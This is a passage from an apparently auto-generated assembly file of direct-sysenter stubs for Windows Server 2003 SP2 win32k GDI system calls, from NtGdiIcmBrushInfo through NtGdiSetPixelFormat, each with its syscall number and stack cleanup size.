_5_2_3790_sp2_windows_2003_NtGdiHfontCreate ENDP
; ULONG __stdcall NtGdiIcmBrushInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiIcmBrushInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4314
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiIcmBrushInfo ENDP
; ULONG __stdcall NtGdiInit( );
_5_2_3790_sp2_windows_2003_NtGdiInit PROC STDCALL
mov eax , 4315
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiInit ENDP
; ULONG __stdcall NtGdiInitSpool( );
_5_2_3790_sp2_windows_2003_NtGdiInitSpool PROC STDCALL
mov eax , 4316
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiInitSpool ENDP
; ULONG __stdcall NtGdiIntersectClipRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiIntersectClipRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4317
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiIntersectClipRect ENDP
; ULONG __stdcall NtGdiInvertRgn( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiInvertRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4318
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiInvertRgn ENDP
; ULONG __stdcall NtGdiLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4319
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiLineTo ENDP
; ULONG __stdcall NtGdiMakeFontDir( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiMakeFontDir PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4320
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMakeFontDir ENDP
; ULONG __stdcall NtGdiMakeInfoDC( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiMakeInfoDC PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4321
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMakeInfoDC ENDP
; ULONG __stdcall NtGdiMaskBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 );
_5_2_3790_sp2_windows_2003_NtGdiMaskBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD
mov eax , 4322
call _label_sysenter
ret 52
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMaskBlt ENDP
; ULONG __stdcall NtGdiModifyWorldTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiModifyWorldTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4323
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiModifyWorldTransform ENDP
; ULONG __stdcall NtGdiMonoBitmap( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiMonoBitmap PROC STDCALL arg_01:DWORD
mov eax , 4324
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMonoBitmap ENDP
; ULONG __stdcall NtGdiMoveTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiMoveTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4325
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMoveTo ENDP
; ULONG __stdcall NtGdiOffsetClipRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiOffsetClipRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4326
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiOffsetClipRgn ENDP
; ULONG __stdcall NtGdiOffsetRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiOffsetRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4327
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiOffsetRgn ENDP
; ULONG __stdcall NtGdiOpenDCW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiOpenDCW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4328
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiOpenDCW ENDP
; ULONG __stdcall NtGdiPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiPatBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4329
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPatBlt ENDP
; ULONG __stdcall NtGdiPolyPatBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiPolyPatBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4330
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPolyPatBlt ENDP
; ULONG __stdcall NtGdiPathToRegion( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiPathToRegion PROC STDCALL arg_01:DWORD
mov eax , 4331
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPathToRegion ENDP
; ULONG __stdcall NtGdiPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4332
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPlgBlt ENDP
; ULONG __stdcall NtGdiPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4333
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPolyDraw ENDP
; ULONG __stdcall NtGdiPolyPolyDraw( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiPolyPolyDraw PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4334
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPolyPolyDraw ENDP
; ULONG __stdcall NtGdiPolyTextOutW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiPolyTextOutW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4335
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPolyTextOutW ENDP
; ULONG __stdcall NtGdiPtInRegion( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiPtInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4336
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPtInRegion ENDP
; ULONG __stdcall NtGdiPtVisible( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiPtVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4337
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiPtVisible ENDP
; ULONG __stdcall NtGdiQueryFonts( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiQueryFonts PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4338
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiQueryFonts ENDP
; ULONG __stdcall NtGdiQueryFontAssocInfo( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiQueryFontAssocInfo PROC STDCALL arg_01:DWORD
mov eax , 4339
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiQueryFontAssocInfo ENDP
; ULONG __stdcall NtGdiRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4340
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRectangle ENDP
; ULONG __stdcall NtGdiRectInRegion( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiRectInRegion PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4341
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRectInRegion ENDP
; ULONG __stdcall NtGdiRectVisible( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiRectVisible PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4342
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRectVisible ENDP
; ULONG __stdcall NtGdiRemoveFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiRemoveFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4343
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRemoveFontResourceW ENDP
; ULONG __stdcall NtGdiRemoveFontMemResourceEx( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiRemoveFontMemResourceEx PROC STDCALL arg_01:DWORD
mov eax , 4344
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRemoveFontMemResourceEx ENDP
; ULONG __stdcall NtGdiResetDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiResetDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4345
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiResetDC ENDP
; ULONG __stdcall NtGdiResizePalette( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiResizePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4346
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiResizePalette ENDP
; ULONG __stdcall NtGdiRestoreDC( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiRestoreDC PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4347
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRestoreDC ENDP
; ULONG __stdcall NtGdiRoundRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 );
_5_2_3790_sp2_windows_2003_NtGdiRoundRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD
mov eax , 4348
call _label_sysenter
ret 28
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRoundRect ENDP
; ULONG __stdcall NtGdiSaveDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSaveDC PROC STDCALL arg_01:DWORD
mov eax , 4349
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSaveDC ENDP
; ULONG __stdcall NtGdiScaleViewportExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiScaleViewportExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4350
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiScaleViewportExtEx ENDP
; ULONG __stdcall NtGdiScaleWindowExtEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiScaleWindowExtEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4351
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiScaleWindowExtEx ENDP
; ULONG __stdcall GreSelectBitmap( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_GreSelectBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4352
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_GreSelectBitmap ENDP
; ULONG __stdcall NtGdiSelectBrush( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSelectBrush PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4353
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSelectBrush ENDP
; ULONG __stdcall NtGdiSelectClipPath( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSelectClipPath PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4354
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSelectClipPath ENDP
; ULONG __stdcall NtGdiSelectFont( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSelectFont PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4355
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSelectFont ENDP
; ULONG __stdcall NtGdiSelectPen( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSelectPen PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4356
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSelectPen ENDP
; ULONG __stdcall NtGdiSetBitmapAttributes( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4357
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapAttributes ENDP
; ULONG __stdcall NtGdiSetBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4358
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapBits ENDP
; ULONG __stdcall NtGdiSetBitmapDimension( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapDimension PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4359
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBitmapDimension ENDP
; ULONG __stdcall NtGdiSetBoundsRect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetBoundsRect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4360
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBoundsRect ENDP
; ULONG __stdcall NtGdiSetBrushAttributes( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4361
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBrushAttributes ENDP
; ULONG __stdcall NtGdiSetBrushOrg( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiSetBrushOrg PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4362
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetBrushOrg ENDP
; ULONG __stdcall NtGdiSetColorAdjustment( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetColorAdjustment PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4363
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetColorAdjustment ENDP
; ULONG __stdcall NtGdiSetColorSpace( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetColorSpace PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4364
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetColorSpace ENDP
; ULONG __stdcall NtGdiSetDeviceGammaRamp( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetDeviceGammaRamp PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4365
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetDeviceGammaRamp ENDP
; ULONG __stdcall NtGdiSetDIBitsToDeviceInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 , ULONG arg_14 , ULONG arg_15 , ULONG arg_16 );
_5_2_3790_sp2_windows_2003_NtGdiSetDIBitsToDeviceInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD , arg_14:DWORD , arg_15:DWORD , arg_16:DWORD
mov eax , 4366
call _label_sysenter
ret 64
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetDIBitsToDeviceInternal ENDP
; ULONG __stdcall NtGdiSetFontEnumeration( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSetFontEnumeration PROC STDCALL arg_01:DWORD
mov eax , 4367
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetFontEnumeration ENDP
; ULONG __stdcall NtGdiSetFontXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetFontXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4368
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetFontXform ENDP
; ULONG __stdcall NtGdiSetIcmMode( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetIcmMode PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4369
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetIcmMode ENDP
; ULONG __stdcall NtGdiSetLinkedUFIs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetLinkedUFIs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4370
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetLinkedUFIs ENDP
; ULONG __stdcall NtGdiSetMagicColors( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetMagicColors PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4371
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetMagicColors ENDP
; ULONG __stdcall NtGdiSetMetaRgn( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiSetMetaRgn PROC STDCALL arg_01:DWORD
mov eax , 4372
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetMetaRgn ENDP
; ULONG __stdcall NtGdiSetMiterLimit( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetMiterLimit PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4373
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetMiterLimit ENDP
; ULONG __stdcall NtGdiGetDeviceWidth( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceWidth PROC STDCALL arg_01:DWORD
mov eax , 4374
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiGetDeviceWidth ENDP
; ULONG __stdcall NtGdiMirrorWindowOrg( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiMirrorWindowOrg PROC STDCALL arg_01:DWORD
mov eax , 4375
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiMirrorWindowOrg ENDP
; ULONG __stdcall NtGdiSetLayout( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiSetLayout PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4376
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetLayout ENDP
; ULONG __stdcall NtGdiSetPixel( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiSetPixel PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4377
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetPixel ENDP
; ULONG __stdcall NtGdiSetPixelFormat( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiSetPixelFormat PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4378
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiSetPixelFormat ENDP
; ULONG __stdcall NtGdiSetRectRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
